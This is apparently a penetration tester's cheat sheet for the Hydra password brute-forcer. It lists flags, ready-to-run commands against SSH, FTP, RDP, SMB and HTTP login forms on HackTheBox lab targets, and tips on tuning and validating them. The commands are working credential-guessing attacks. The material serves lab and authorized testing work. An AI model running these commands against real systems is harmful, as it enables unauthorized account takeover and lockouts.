Hydra
Online (live-service) password brute-forcer. Use it when you have a login form or network service and a candidate user/pass list — not for offline hashes (that’s hashcat/john). Current build here is v9.7.
Core syntax
hydra [-l USER | -L userlist] [-p PASS | -P passlist] [options] service://TARGET[:PORT][/OPT]
| Flag | Meaning |
|---|---|
-l user / -L file | single username / username list |
-p pass / -P file | single password / password list |
-C file | combo file of user:pass per line (instead of -L/-P) |
-e nsr | also try null pass, pass = same as login, reversed login |
-u | loop across users for each password; changes ordering, not lockout protection |
-t N | parallel tasks (default 16; drop to -t 4 for ssh/rdp) |
-f / -F | stop after first valid pair (per-host / globally) |
-s PORT | non-default port |
-S | SSL |
-V / -vV | show every attempt |
-o file | write found creds to file |
-R | restore a crashed/aborted session |
Services you’ll actually use
# SSH — keep -t low, sshd throttles hard
hydra -l root -P rockyou.txt ssh://10.10.10.5 -t 4
# FTP
hydra -L users.txt -P pass.txt ftp://10.10.10.5
# RDP
hydra -l administrator -P pass.txt rdp://10.10.10.5
# SMB authentication (not a reliable standalone user-enumeration test)
hydra -L users.txt -p 'Winter2024!' smb://10.10.10.5
# combo list of user:pass pairs (e.g. cracked DB dump) — HTB StreamIO
hydra -C userpass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"
HTTP form brute — three required fields
http-post-form / https-post-form take one argument with three required colon-separated fields (two separators), plus optional fields:
"<path>:<POST body>[:<optional fields>]:<F= or S= condition>"
# POST login form
hydra -l admin -P rockyou.txt 10.10.10.5 http-post-form \
"/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
# HTTPS form (StreamIO): note service name https-post-form, host before service also works:
hydra -L users -P pass streamio.htb https-post-form \
"/login.php:username=^USER^&password=^PASS^:F=failed"
# GET-based basic auth
hydra -l admin -P rockyou.txt 10.10.10.5 http-get /admin/
# match on SUCCESS text instead of failure (use S=)
hydra -l admin -P rockyou.txt 10.10.10.5 http-post-form \
'/login:user=^USER^&pass=^PASS^:S=Location\: /dashboard'
# static cookie/header example; a rotating CSRF token needs a different workflow:
hydra -l admin -P pass.txt -t 1 10.10.10.5 http-post-form \
'/login:user=^USER^&pass=^PASS^&csrf=TOKEN:H=Cookie\: PHPSESSID=abc123:F=failed'
Put the condition last. Optional fields go between the body and condition:
F=string— response containingstringmeans failure (loop continues).S=string— response containingstringmeans success (hit).H=Header\: value— add a header to every request (cookies, CSRF, UA). Repeatable.C=/path— obtain cookies from this path; does not parse rotating CSRF fields.
[!tip] Build the body from a captured request Submit the login once through Burp, copy the exact POST body, then just swap the username/password values for
^USER^/^PASS^. Guessing field names is the #1 time-waster.
[!warning] Watch out
- Pick
F=orS=, not both.F=is safest when every failed login shows the same error text. If failure and success pages are near-identical, match a success-only signal (S=Location:redirect, a Set-Cookie, a username echo).http-post-formvshttps-post-formare different service names — using the wrong scheme just connection-errors every attempt.- Rate limits / lockouts: AD accounts lock after N bad tries. For domain creds prefer
netexec/kerbrutepassword-spray (one pass across many users) over Hydra hammering one account. See Password Attacks.-ttoo high on ssh/rdp causes dropped connections and false negatives —-t 4for those.
Validate the detector before the wordlist
hydra -U http-post-form
# One deliberately invalid lab pair, one worker, verbose result
hydra -l known-test-user -p 'KnownInvalidExample!' -t 1 -V \
10.10.10.5 http-post-form \
'/login.php:username=^USER^&password=^PASS^:F=Invalid credentials'
Check the captured request against the browser: method, encoding, parameters, headers, cookies and redirect behaviour. Escape literal colons inside a marker/header as \: and keep the module argument shell-quoted. The options printed by hydra -U are the source for the installed module.
Success: a reported pair independently opens an authenticated session with the expected identity. A missing failure string can also mean an error page, expired token, redirect or rate limit. Stop and repair the detector if the known-invalid control is reported as valid.
-u and a low -t do not guarantee lockout-safe spraying. Per-account attempt budgets and delays come from the actual policy. For rotating tokens or JavaScript-managed authentication, use a workflow that refreshes the request state rather than pasting a static CSRF value.
See Also
- NetExec — the better choice for SMB/WinRM/LDAP/MSSQL spraying in AD.
- kerbrute — Kerberos pre-auth user enum + spray, lockout-aware.
- Password Attacks — spray vs brute strategy and wordlists.